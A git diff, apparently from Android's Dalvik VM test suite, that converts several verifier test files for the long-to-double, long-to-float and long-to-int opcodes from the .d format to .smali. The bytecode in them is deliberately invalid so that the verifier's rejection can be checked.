diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_3.d
deleted file mode 100644
index 83c423c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_double_3.java
-.class public dot.junit.opcodes.long_to_double.d.T_long_to_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)D
-.limit regs 8
-
-       const v6, 1234
-       long-to-double v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_3.smali
new file mode 100644
index 0000000..7dcc7f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_double_3.java"
+.class  public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 8
+
+       const v6, 1234
+       long-to-double v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_4.d
deleted file mode 100644
index 03bc7bd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_double_4.java
-.class public dot.junit.opcodes.long_to_double.d.T_long_to_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)D
-.limit regs 8
-
-       long-to-double v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_4.smali
new file mode 100644
index 0000000..b775b66
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_double_4.java"
+.class  public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 8
+
+       long-to-double v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_5.d
deleted file mode 100644
index 6656834..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_double_5.java
-.class public dot.junit.opcodes.long_to_double.d.T_long_to_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)D
-.limit regs 8
-
-       long-to-double v0, v8
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_5.smali
new file mode 100644
index 0000000..0c54681
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_double_5.java"
+.class  public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 8
+
+       long-to-double v0, v8
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_6.d
deleted file mode 100644
index 8e430fe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_double_6.java
-.class public dot.junit.opcodes.long_to_double.d.T_long_to_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)D
-.limit regs 8
-
-       long-to-double v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_6.smali
new file mode 100644
index 0000000..621d011
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_double/d/T_long_to_double_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_double_6.java"
+.class  public Ldot/junit/opcodes/long_to_double/d/T_long_to_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)D
+.registers 8
+
+       long-to-double v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_1.d
deleted file mode 100644
index 3f0602b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_float_1.java
-.class public dot.junit.opcodes.long_to_float.d.T_long_to_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)F
-.limit regs 8
-
-       long-to-float v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_1.smali
new file mode 100644
index 0000000..b853c78
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_float_1.java"
+.class  public Ldot/junit/opcodes/long_to_float/d/T_long_to_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 8
+
+       long-to-float v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_2.d
deleted file mode 100644
index 0f4a557..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_float_2.java
-.class public dot.junit.opcodes.long_to_float.d.T_long_to_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)F
-.limit regs 8
-
-       long-to-float v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_2.smali
new file mode 100644
index 0000000..503ac5f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_float_2.java"
+.class  public Ldot/junit/opcodes/long_to_float/d/T_long_to_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)F
+.registers 8
+
+       long-to-float v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_3.d
deleted file mode 100644
index 002e5d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_float_3.java
-.class public dot.junit.opcodes.long_to_float.d.T_long_to_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)F
-.limit regs 8
-
-       const v6, 1234
-       long-to-float v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_3.smali
new file mode 100644
index 0000000..a395a8f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_float_3.java"
+.class  public Ldot/junit/opcodes/long_to_float/d/T_long_to_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 8
+
+       const v6, 1234
+       long-to-float v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_4.d
deleted file mode 100644
index acb99d1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_float_4.java
-.class public dot.junit.opcodes.long_to_float.d.T_long_to_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)F
-.limit regs 8
-
-       long-to-float v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_4.smali
new file mode 100644
index 0000000..0b358b3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_float_4.java"
+.class  public Ldot/junit/opcodes/long_to_float/d/T_long_to_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 8
+
+       long-to-float v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_5.d
deleted file mode 100644
index 5cb993e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_float_5.java
-.class public dot.junit.opcodes.long_to_float.d.T_long_to_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)F
-.limit regs 8
-
-       long-to-float v0, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_5.smali
new file mode 100644
index 0000000..b24579a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_float/d/T_long_to_float_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_float_5.java"
+.class  public Ldot/junit/opcodes/long_to_float/d/T_long_to_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 8
+
+       long-to-float v0, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_1.d
deleted file mode 100644
index 2f73956..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_int_1.java
-.class public dot.junit.opcodes.long_to_int.d.T_long_to_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       long-to-int v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_1.smali
new file mode 100644
index 0000000..c075881
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_int_1.java"
+.class  public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       long-to-int v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_2.d
deleted file mode 100644
index 1732d7f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_int_2.java
-.class public dot.junit.opcodes.long_to_int.d.T_long_to_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       long-to-int v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_2.smali
new file mode 100644
index 0000000..876cf93
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_int_2.java"
+.class  public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       long-to-int v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_3.d
deleted file mode 100644
index 1d4665b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_int_3.java
-.class public dot.junit.opcodes.long_to_int.d.T_long_to_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       const v6, 1234.0
-       long-to-int v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_3.smali
new file mode 100644
index 0000000..2f460ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_3.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_3;
+.super Ljava/lang/Object;
+.source "T_long_to_int_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(J)I
+    .registers 8
+
+    const p1, 0x449a4000    # 1234.0f
+
+    long-to-int v0, p1
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_4.d
deleted file mode 100644
index 50e5889..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
